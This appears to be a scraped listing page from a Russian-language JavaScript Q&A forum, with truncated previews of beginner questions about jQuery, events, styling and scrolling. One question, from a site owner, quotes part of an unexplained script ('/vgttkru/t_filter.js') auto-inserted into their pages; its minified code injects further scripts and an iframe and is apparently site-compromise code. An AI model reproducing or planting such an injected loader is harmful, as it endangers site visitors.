JavaScript
A programming language that conforms to the ECMAScript specification
Explore Questions
There are no popular questions to show right now
-
0 votes1 answer
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes0 answers
4723 questions in this forum
-
Событие по неактивной кнопке
Привет. Есть неактивная кнопка. Нужно чтобы при нажатии на неё появлялся alert с некоторым сообщением, но клик по кнопке с параметром disabled не происходит, как быть? $('#id').click(function(){ if($('#id').attr('disabled')) { alert('Кнопка заблокирована'); } });
0 votes1 answer -
Не работает скрипт во всех браузерах кроме Mozilla FireFox
Доброго времени суток! Обращаюсь к знатокам своего дела! Ребят, подскажите малоопытному )) Не работает скрипт не в одном браузере кроме Mozilla FireFox.. Вроде все просто, суть показывать/скрывать поля при выборе значения select Вот тело: <form name="" id="" method="post" action="" onsubmit="return validateForm();"><div class="" style="padding-bottom:10px; "><select ><option id="" class="3" value="">Вы новый пользователь?</option><option id="" class="1" value="">Я новый пользователь</option><option id="" class="2" value="">У меня уже есть кабинет</option></select></div><div id="my1" style="padding-bott…
0 votes2 answers -
Можно проверить наличие Яндекс.навигатора?
https://tech.yandex.ru/yandex-apps-launch/navigator/doc/concepts/about-docpage/ Тут сообщается о проверке в собственном приложении. А на web-странице как сделать? Это возможно вообще?
0 votes0 answers -
Выборка
Добрый день, вобщем такой вопрос: $(function(){ $("img[alt]").addClass('imgtip'); $(".imgtip").tipTip({edgeOffset: 7, fadeOut: 1500, defaultPosition: "right", delay: 100}); }); как сделать чтобы img[alt] обрабатывалось только в определённом #ID или классе? Заранее спасибо
0 votes9 answers -
замена фона
Здравствуйте, опять у меня тупняк с, наверное, элементарной проблемой. Заключается она вот в чем: сделал окошко, в котором есть закладки, по типу как здесь Эрудит, Загадки, Конкурсы и т.д. Хочу сделать вот что - при наведении курсора на каждую такую вкладку цвет ее фона заменяется с серого на уникальный цвет, то есть для каждой вкладки свой цвет. При отведении курсора цвет становится опять серым. Это все понятно, сделал, работает. Проблема вот в чем - при нажатии на вкладку цвет фона должен фиксироваться, и не заменяться опять на серый при отведении курсора. Кто-нибудь может подсказать, как реализовать это? Вот код текущей реализации: function hoveron(elem, tip) - на …
0 votes8 answers -
JQuery. Помогите новичку с решением бага.
Привет всем! Я только недавно начал изучать JQuery, так что встала загвоздка в решении такой задачи. Вот накидал шаблон с этой проблемой. Если зоны (в примере их два серых блока, в жизни будет намного больше), сделанные через тэг «area», (в примере они просто прямоугольные, а в жизни будет очень ломанные). Суть проблемы: при наведении на зону появляется картинка (желтая), которая накладывается поверх «area» и так же вплывает подсказка (синяя). Я это реализовал на JQuery, но появился неприятный баг. При перемещении мышки из желтой области в синюю (в красной рамке): https://photos-1.dropbox.com/t/1/AAAjNJ5vPJsGREqlpIEcsDPrE4iRpMKoiJmjcdJQOINLqg/12/44729395/png/1024x768/3/14…
0 votes3 answers -
че она не пашет ?
<script type="text/javascript"> var check='error',id='error', http = false ; function dataSet(value,value2) { if (value == 'on') check = 1 ; else check =0; id = value2; alert(id + check); } </script> foreach($result as $row){ if ($row[2] == "1"){ $bb="<input type=checkbox name='". $row[0] ."' checked onclick='javascript: dataSet( this.value , this.name )'>"; }else{ $bb="<input type=checkbox name='". $row[0] ."' onclick='javascript: dataSet( this.value , this.name )'>"; } }немогу я понять логику яваскрипта , по отдельности работает , а 2 разом переменные не работает
0 votes4 answers -
проблема с style.color. XHTML. Mozilla
Помогите. Проблему выяснил, решить не могу. Упростил код до такого вида: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title></title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <div style="background:gray;" onmouseover="this.style.color='FFFFFF'"> 123123 </div> </body> </html> При наведении на блок цвет текста должен меняться на белый. В ИЕ и в Опере работает, в Мозилле не хочет. Достаточно поменять доктайп на…
0 votes2 answers -
jQuery кнопки
jQuery(function($) { $('#amoney .south').click(function(){ $('#amoney .south').removeClass('active'); $(this).addClass('active'); });});jQuery(function($) { $('#amoney').on('click', '.south', function(){ $('#amoney .south').removeClass('active'); $(this).addClass('active'); });});работают но как то странно написано <div id="amoney" class="amoney-module" style="text-align: center;"> <div id="amoney1" class="amoney-mod1" style="text-align: center;"> <span class="panel1"><a class="south" style="margin:3px;text-decoration: none;" onclick="hide_all()" title="" data-original-title="Скрыть все">Благодарность Автору</a>…
0 votes2 answers -
Неизвестный скрипт
Добрый день! Сегодня заметил непонятно откуда взявшийся скрипт <script src="/vgttkru/t_filter.js" async="" type="text/javascript"></script> Он прописывается автоматически на создаваемых или редактируемых страницах сайта. Открывается по ссылке http://moskwa.rpk-service.su/vgttkru/t_filter.js Внутри код: (function(){function g(a,b){var c=a.createElement("script");c.type="text/javascript";c.async=!0;c.src="/vgttkru/t_filter.js";b&&(c.src+="?"+b);a.body.appendChild(c)}function m(a){return"/vgttkru/filter_proxy_iframe.html?q="+a+"/d"+location.hostname}function n(a){try{var b=document.getElementById("vegetatika-frame")||document.createElement("I…
0 votes1 answer -
jQuery выборка по пути
Очередная проблема: index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=windows-1251" /> <title>Курс по Javascript</title> <link href="css/mystyle.css" rel="stylesheet" type="text/css" /> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/myScripts.js" type="text/javascript"></script> </head> <body> <!-- Общий div для вс…
0 votes3 answers -
Калькулятор-который умножает одно число на другое
Функционал такой: Пользователь - выбирает, ставит галочку в чекбоксе сколько ему нужно цветов (например 101) После этого Цена (4099) умножается ( на количество цветов) и появляется итоговая сумма:413999 Вот и весь функционал Помогите плиз
0 votes6 answers -
Нужно нажимать 2 раза
У меня есть скрипт function gal1(){document.getElementById('mg').addEventListener('click',function(){document.getElementById('golova').setAttribute('href','g.mg.html');},false)}он запускается нажатием кнопки<div onclick="num=1; gal1(); gal(); " class="min" id="mg"><img src="img\mg.jpg" style="height:100px ; "></div>но дело в том,что срабатывает после нажатия 2 раз на кнопку,а нужно на 1,как исправить?
0 votes1 answer -
Узнать url динамической ссылки
Мне надо узнать адрес динамической ссылки, которая загрузилась на страницу. Помогите как это сделать? на сайт с чужого сайта вкидываю скрипт: <script type="text/javascript" src="http://адрес чужого сайта"></script> благодаря этому скрипту у меня на сайте появляетсся ряд ссылок, которые создаются динамически, тоесть при каждом обновлении страницы ссылки изменяются. мне надо узнать адреса этих ссылок могу сказать только, что все ети ссылки одного класса (клас известен) Очень надеюсь на Вашу помощь
0 votes0 answers -
.toggle
$(document).ready(function () { $("#formHide").toggle (function() { $("#contentmore").fadeOut(1000); $(this).text("Читать дальше"); }, function() { $("#contentmore").fadeIn(1000); $(this).text("Свернуть текст"); }); }); Не работает! Почему??
0 votes3 answers -
Скрипт YouTube из JS в Jquery
Добрый день. Есть скрипт для YouTube, который позволяет закрывать и открывать айфрейм с видео одновременно делая паузу или отключая её соостветвенно. Но он на чистом яваскрипте, а мне бы очень хотелось заюзать jquery animate. Может нагло спрашивать такое, но как будет выглядеть этот короткий скрипт на JQuery? function toggleVideo(e) { var n = document.getElementById("popupVid"), o = n.getElementsByTagName("iframe")[0].contentWindow; n.style.display = "hide" == e ? "none" : "", func = "hide" == e ? "pauseVideo" : "playVideo", o.postMessage('{"event":"command","func":"' + func + '","args":""}', "*")}
0 votes3 answers -
Двойное значение e.total при загрузке файлов в Safari.
Всем привет! Никто не сталкивался с такой проблемой в Safari: при загрузке файлов на сервер (когда загрузка протекает не очень быстро) в событии progress свойство e.total увеличивается в 2 раза? То есть e.loaded принимает значение e.total, а после этого e.total становится 2*e.total и e.loaded снова начинает расти. Заранее спасибо!
0 votes0 answers -
Кодирование данных.
Доброго времени суток. На сколько я знаю при передаче данных через POST их нужно кодировать, для корректной передачи. Такой вопрос: как осуществляется это кодирование? JavaScript xmlHttpRequest.open("POST", "test.php", true); xmlHttpRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlHttpRequest.onreadystatechange = processResponse; fieldName = 'Name'; fieldValue = 'Value'; data += fieldName + "=" + fieldValue; xmlHttpRequest.send(data); И еще как в пхп эти данные декодировать? PHP echo $_POST['Name'];
0 votes1 answer -
мозаика
помогите пожалуйста.=))) Есть два фрейма, слева фрейм разделенный на 4 рабочих фрейма для сбора картинки,справа фрейм для выбора. В правом фрейме надо реализовать так, чтобы можно было выбрать определенный (любой на выбор) файл картинки (например 1), и чтобы его можно было загрузить в левую сторону тоже в любой фрейм. как это организовать? выбор я сделал: Номер картинки <form> <select> <option>r1</option> <option>r2</option> <option>r3</option> <option>r4</option> </select> </form> Номер фрейма <form> <select> <option>1</option> <option>2</option> &…
0 votes1 answer -
Запрет загрузки элемента HTML с помощью Java Script
Здравствуйте! Для мобильной версии сайта мне необходимо исключить некоторые элементы HTML из загрузки. Например, элемент <header>. Естественно, это можно сделать с помощью CSS, но в таком случае элемент будет загружаться и просто не будет отображаться. Я вот подумал, что логичнее было бы запретить загрузку элемента с помощью скрипта. Помогите, пожалуйста, реализовать следующее условие с помощью Java Script: Если ширина экрана меньше 750 px, то элемент <header> не отображается. Заранее благодарю за помощь!
0 votes2 answers -
Фреймворки
Объясните мне вкратце, что дают такие штуки, как: Ember, Angular, React, Backbone, Knockout и т.п. Что нельзя сделать на чистом JS, без этих штук? А может это всё специально сделано для инфобизнеса?
0 votes2 answers -
Упростить цепочку нахождения элемента
Экспериментальным путем нахожу элемент: $("div .MyClass").children().children().children("a") как упростить цепочку? написать одним(двумя) запросами? в третьем children только один "a"
0 votes7 answers -
Плагин для JQeury для отмечания друзей на фото
Требуется реализовать ометки на фото как в контакте или в яндекс фото. Подскажите плз JQeury плагин под это дело
0 votes2 answers -
ScrollTo
Метод неистово тормозит на FireFox, Opera и приводит покадровке на IE. Ситуацию усугубляет 3й CSS, коего достаточно обильно и коий без всяких анимаций вызывает неистовый батхер у IE9. Вариантов вижу несколько: а). обыграть встроенный метод отдельной функцией(сомнительно, что может помочь) б). сделать что-то вроде плавного старта и плавного стопа, дабы позволить браузеру отрендерить всё более гладко в). забить и выпилить скролл г). поискать какой-то адекватный плагин Есть ли сопособы изящного решения данной проблемы без хардкорных навесок?
0 votes4 answers -
Скрол в начало страницы при перезагрузке
Пытаюсь сделать так чтобы при перезагрузке страницы она была "проскроллена" в начало. Добавил такой скрипт (jQuery): $(document).ready(function(){ $("body").scrollLeft(0); }); Но, почему то, все равно, если проскролить страницу, а потом перезагрузить, то страница остается в том же положении как до перезагрузки. Помогите разобрать, пожалуйста.
0 votes1 answer